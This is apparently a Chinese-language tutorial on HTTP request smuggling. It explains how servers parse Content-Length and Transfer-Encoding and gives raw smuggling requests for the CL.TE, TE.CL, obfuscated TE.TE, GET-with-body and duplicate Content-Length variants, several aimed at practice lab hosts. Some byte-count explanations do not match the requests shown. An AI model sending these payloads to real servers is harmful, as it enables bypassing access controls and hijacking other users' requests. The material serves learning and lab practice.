想都是问题,做才是答案
什么是请求走私?
HTTP请求走私是针对于服务端处理一个或者多个接收http请求序列的方式,进行绕过安全机制,实施未授权访问一种攻击手段,获取敏感信息,并直接危害其他用户。
Web 应用程序经常在用户和最终应用程序逻辑之间使用 HTTP 服务器链。用户将请求发送到 前端服务器(有时称为负载平衡器或反向代理),此服务器将请求转发到一个或多个后端服务器。
当前端服务器将 HTTP 请求转发到后端服务器时,它通常会通过同一后端网络发送多个请求 连接,因为这更加高效和高性能。
在这种情况下,前端和后端系统必须就请求之间的边界达成一致。否则,一个 攻击者或许能够发送一个模棱两可的请求,该请求的前端和后端系统会以不同的方式解释:
在这里,攻击者导致后端服务器将其前端请求的一部分解释为下一个请求的开始。是的 有效地预置到下一个请求之前,因此可能会干扰应用程序处理该请求的方式。这是一个请求 走私攻击,它可能会产生毁灭性的后果。
请求走私大多发生于前端服务器和后端服务器对客户端传入的数据理解不一致的情况。这是因为HTTP规范提供了两种不同的方法来指定请求的结束位置,即
Content-Length
和Transfer-Encoding
标头。
keep-Alive Pipeline
Keep-Alive:告诉服务器,接受完这次HTTP请求后,不要关闭TCP链接,厚民对相同目标服务器的HTTP请求,重用这一个TCP链接,这样只需要进行一次TCP握手,可减少服务器开销,节约资源,还能加快访问速度,在HTTP1.1中默认开启。
Pipeline:在这里,客户端可以像流水线一样发送HTTP请求,不需要等待服务器的响应,服务器那边收到请求后,需要遵循先入后出的机制,警请求和响应对应起来,在响应到客户端。
浏览器默认不启用Pipeline,但一般浏览器都提供对Pipleline的支持。
CL TE
CL和TE即Content-Length 和 Transfer-Encoding 请求头
Content-Length头以字节为单位指定消息正文的长度
POST / HTTP/1.1 Host: cjg52xws.lab.aqlab.cn User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:124.0) Gecko/20100101 Firefox/124.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate, br Authorization: Basic emthcTp6a2Fx Connection: close Upgrade-Insecure-Requests: 1 X-Forwarded-For: 127.0.0.1 Content-Type: application/x-www-form-urlencoded Content-Length: 46 {"token":"8e5c99732ec2a7b1b524936a2cfc1992"}
Transfer-Encoding头一般指定邮件正文使用分块编码,例如
POST /search HTTP/1.1 Host: normal-website.com Content-Type: application/x-www-form-urlencoded Transfer-Encoding: chunked b q=smuggling 0
每个块之间以换行符分割开,直到块大小为0字节时视为正文的结束,就是因为这两种不同的方法来指定HTTP消息的长度,就导致如果同时使用这两个头会造成冲突,HTTP规范中规定,如果两个头同时存在则忽略Content-Length头,此时如果出现一下两种情况:
一些服务器不支持Transfer-Encoding头,如果对头做了混淆处理则有些服务器虽然支持Transfer-Encoding头也不会处理它
当我们设置TE为chunked时,CL就会被省略。为了区分chunk的边界,我们需要在每个chunk前面用16进制数来表示当前chunk的长度,后面加上\r\n,再后面就是chunk的内容,然后再用\r\n来代表chunk的结束。最后用长度为 0 的块表示终止块。终止块后是一个 trailer,由 0 或多个实体头组成,可以用来存放对数据的数字签名等。如下面这个例子(另外要注意\r\n占2字节):
POST / HTTP/1.1\r\nHost: http://1.com\r\nContent-Type: application/x-www-form-urlencoded\r\nTransfer-Encoding: chunked\r\n\r\nb\r\nq=smuggling\r\n6\r\nhahaha\r\n0\r\n\r\n
执行HTTP请求走私
CL.TE漏洞:
首先请求包中需要同时包含CL头(Content-Length)和TE头(Transfer-Encoding)
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 13
Transfer-Encoding: chunked
0
SMUGGLED
CL头设置的是13,即从正问呢开始算包含13个字节的内容为止算是一个请求包,但是当这个请求包发到后端服务器时会采用TE头来处理请求包,此时会因为0的下一行是空行而认为此请求包已经结束了,那么多出来的内容会杯认为是下一个请求包的开始,此时则会产生HTTP请求走私攻击
例:
POST / HTTP/2
Host: 0ad000cc044389e28092713400c300d4.web-security-academy.net
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:124.0) Gecko/20100101 Firefox/124.0
Content-Type: aplication/x-www-urlencoded
Content-Length: 8
Transfer-Encoding: chunked
0
G
CL头的值为6,就是包含三行共六个字节(包括换行符),TE头指定了使用分块编码,发送两次请求包,成功因为前后端处理方式不同而导致HTTP走私攻击
TE.CL漏洞
这一种就是前端服务器使用TE头处理,而后端服务器使用CL头处理
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 3
Transfer-Encoding: chunked
8
SMUGGLED
0
原理就是前端服务器通过使用TE头指定的分块编码来分割处理请求包,既然是分块编码,就得指定每个分块的大小,就如上述代码所示,第一个分块大小为8字节长,第二个分块大小为0,分块编码会一直读取直到分块大小为0,所以以上的请求包会被前端当成一个请求包转发到后端服务器,但是到了后端服务器会因为CL头指定的长度仅包括了8及后面的CLRF字符而将这个请求包分割成两个处理,这就导致了HTTP请求走私漏洞。
通俗的说后端的cl会识别请求cl中的3,所以后端认为这个请求的内容是\r\n8,而后面的则会被当成第二个请求。
例:
POST / HTTP/1.1
Host: 0ad000cc044389e28092713400c300d4.web-security-academy.net
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:124.0) Gecko/20100101 Firefox/124.0
Content-Type: aplication/x-www-urlencoded
Content-Length: 4
Transfer-Encoding: chunked
5a
GPOST / HTTP/1.1
Host: 0ad000cc044389e28092713400c300d4.web-security-academy.net
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:124.0) Gecko/20100101 Firefox/124.0
Content-Type: aplication/x-www-urlencoded
Content-Length: 15
x=1
0
注意0后面要有2个空行,然后就也会因为前后端对HTTP请求方式不同而导致HTTP走私攻击。
TE.TE漏洞:混淆TE头
前后端都支持TE头,但是可以通过某种混淆手段让某一端不处理TE头。
Transfer-Encoding: chunked
Transfer-Encoding: x
例:
POST / HTTP/1.1
Host: 0ad000cc044389e28092713400c300d4.web-security-academy.net
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:124.0) Gecko/20100101 Firefox/124.0
Content-Type: aplication/x-www-urlencoded
Transfer-Encoding: chunked
Transfer-Encoding: cow
5a
GPOST / HTTP/1.1
Host: 0ad000cc044389e28092713400c300d4.web-security-academy.net
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:124.0) Gecko/20100101 Firefox/124.0
Content-Type: aplication/x-www-urlencoded
Content-Length: 15
x=1
0
我们可以看到请求了两个Transfer-Encoding,其中一个是混淆的,所以就会导致在后端的时候不使用TE头来处理此时会转而采用CL头处理,从而将一个HTTP请求拆分成两个,导致HTTP走私攻击。
CL不为0的GET请求
GET / HTTP/1.1
Host: test.com
Content-Length: 42
GET / flag HTTP/1.1
Host: test.com
当前端代理服务器允许GET
请求携带请求体;后端服务器不允许GET请求携带请求体时,发送这段请求,服务器因为cl不允许携带请求体,而会把这段请求分成2段请求。
CL-CL
当前后端都接受GET请求中有内容,且不报错时,根据RFC 7230,当服务器收到的请求中包含两个 Content-Length
,而且两者的值不同时,需要返回400错误,但是有的服务器并没有严格实现这个规范。这种情况下,当前后端各取不同的 Content-Length
值时,就会出现漏洞
POST / HTTP/1.1
Host: example.com
Content-Length: 8
Content-Length: 7
12345
a
前端服务器按照第一个Content-Length的值对请求进行为数据包定界,后端服务器则按照第二个Content-Length的值进行处理。这就导致了后台在接收到这段数据时,根据Content-length认为请求包到12345就结束了,把剩下的a作为下一个未请求完成请求包的一部分。